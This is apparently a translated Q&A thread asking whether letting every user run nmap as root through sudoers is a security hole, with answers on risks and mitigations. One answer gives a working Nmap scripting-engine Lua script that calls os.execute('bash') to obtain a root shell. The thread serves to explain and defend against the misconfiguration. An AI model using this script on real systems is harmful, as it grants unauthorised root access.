允许每个用户以 root 身份运行 nmap 是否危险?

允许每个用户以 root 身份运行 nmap 是否危险?

在我们大学的“网络实验室”中,有一些计算机配置为允许所有人通过 /etc/sudoers 以 root 身份运行 nmap。这可能是一个安全漏洞吗?

答案1

我刚刚发现 nmap 允许用户运行任意 lua 脚本。你可以用这个 lua 脚本获得 root shell:

description = [[]]
author = ""
license = ""
categories = {}

portrule = function(host, port)
os.execute("bash")
return false
end

action = function(host, port)

end

答案2

有几个领域存在潜在的脆弱性:

  1. 如果用户能够扫描生产类型的网络,则有可能导致各种服务和系统出现拒绝服务问题。然而,这并不是以 root 身份运行 nmap 的漏洞;这只是该工具的性质。对扫描的网络进行相应的沙盒处理,您就不会有事了。

  2. 如果 nmap 应用程序本身存在安全漏洞,那么确实存在漏洞。请查看 bugtraq 和完整披露邮件列表以了解这些漏洞。确保您使用的是最新版本的稳定 nmap(我不建议使用任何测试版来处理任何严重问题),这样就没问题了。

  3. 最后,如果有人能够植入可由 nmap 脚本引擎 (NSE) 运行的恶意 Lua 脚本,那么该脚本就有可能以 root 身份运行。可以通过 NSE 获得 Shell 访问权限;请参阅Kim 的回答了解详情。

在这三者中,第二和第三者将通过以 root 身份运行而被放大。作为普通用户,这些问题仍然存在;漏洞将被限制在一般用户可以访问的范围内。

您可以通过 sudo 配置文件限制可使用的 nmap 选项,以尝试通过不允许用户使用 NSE 来缓解问题 3。当然,如果他们需要访问 NSE 来实现他们的教育目标,那么您可能不得不接受风险。

答案3

让用户使用计算机可能安全漏洞。大多数“黑客”都是内部人员所为。

无论如何,nmap 无论如何都可能存在安全问题。锤子可以盖房子,也可以在头骨上打洞。取决于用户和意图。

学校里很可能 99% 的时间都会使用 nmap,因为它是为学习环境而设计的。我认为你几乎必须允许它具有一些 root 访问权限,因为你正在使用 1024 以下的端口。

问题是这些可以被用来“审计”网络上的其他计算机。

如果您想限制损害,请考虑 a) 在交换机处将实验室隔开,使其无法对实验室外的其他计算机进行端口扫描,或者如果这些是通用实验室,则有选择地允许扫描或访问实验室外的服务。b) 在虚拟机上运行 nmap,学生可以配置和自定义这些虚拟机,但很容易被清除,也许可以通过 ssh 进入虚拟学生服务器来获得更多访问权限。这可以让您更好地集中管理,他们可以使用 Windows 上的 XLiveCD 或实验室计算机上的任何 Linux 环境来执行操作。

Nmap 也会给任何网络带来压力。如果你的实验室有 20 台机器,同时对其他机器进行端口扫描,那么你将通过交换机推送大量流量……希望它们有足够的能力来处理它,否则你会看到一些奇怪的东西。

相关内容